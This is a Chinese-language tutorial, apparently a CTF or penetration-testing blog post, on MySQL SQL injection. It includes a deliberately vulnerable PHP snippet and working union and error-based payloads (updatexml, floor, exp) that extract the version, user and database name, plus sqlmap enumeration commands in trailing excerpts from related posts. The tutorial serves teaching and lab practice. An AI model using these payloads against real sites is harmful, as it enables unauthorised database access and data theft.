本文內容主要基於mysql的注入
首先,sql注入的成因:開發人員在開發過程中,直接將url中的引數,http body中的post引數或其它外來的使用者輸入(如cookies、user-agent等)與sql語句進行拼接,造成待執行的sql語句可控,從而使我們可以執行任意sql語句
(1)可回顯的注入
聯合查詢注入
報錯注入
通過注入進行dns請求,從而達到可回顯的目的
(2)不可回顯的注入
bool盲注
時間盲注
(3)二次注入
一般需要自己編寫指令碼已實現自動化注入
可以聯合查詢的sql注入
在可以聯合查詢的題目中,一般會將資料庫查詢的資料回顯到頁面中
源**類似如下:
<?php..
.$id
=$_get
['id'];
$getid
="select id from users where user_id='$id'";
...
此時,$id變數會將id獲取到的引數直接拼接到sql語句中
payload如下:
?id=-1'+union+select+1+--+
閉合掉前面的單引號,注釋掉後面的單引號
報錯注入
主要有三種mysql資料庫報錯注入的方法,分別是updatexml,floor和exp
updatexml
updatexml的報錯原理從本質上來說就是函式的報錯
以前面的源**為例:
<?php..
.$id
=$_get
['id'];
$getid
="select id from users where user_id='$id'";
...
payload可以如下:
?id=1'+updatexml(1,concat(0x7e,(select version(
)),0x7e),1)%23
floor
floor報錯的原理是rand和order by或group by的衝突
還是以上面的源**為例,
爆破資料庫版本資訊的payload如下:
?id=1'+and(select 1 from (select count(*),concat((select (select (select concat(
0x7e
, version(),
0x7e
))) from information_schema.tables limit 0,1), floor(rand(0)*2)) x from information_schema.tables group by x)a)%23
爆破當前使用者的payload:
將上面的payload中的version()改為user()
爆破當前使用的資料庫payload:
將上面的payload中的version()改為database()
expexp報錯的本質原因是溢位報錯
以一開始的源**為例:
payload為:
?id=1' and exp(~(select * from (select user(
))x))%23
滲透測試基礎之sql注入
1 什麼是sql注入?sql注入攻擊是通過將惡意的sql查詢或新增語句插入到應用的輸入引數中,再在後台sql伺服器上解析執行進行的攻擊,它目前是黑客對資料庫進行攻擊的最常用的手段之一。2 sql注入能帶來的威脅?猜解後台資料庫,這是利用最多的方式,盜取 的敏感資訊。繞過認證,列如繞過驗證登入 後台。...
CTF之SQL注入
github audi 1 sqli labs sqli labs 爆庫名select database 爆表名select group concat table name from information schema.tables where table schema database 爆列名s...
Mac滲透測試 之SQL注入Demo
二 sql注入 三 參考文章 2 驗證sqlmap安裝成功 1 首先網上找到了sql 注入靶場 基礎語法 sqlmap.py u 注入位址 dbs 列舉資料庫 sqlmap.py u 注入位址 current db 當前資料庫 sqlmap.py u 注入位址 users 列資料庫使用者 sqlma...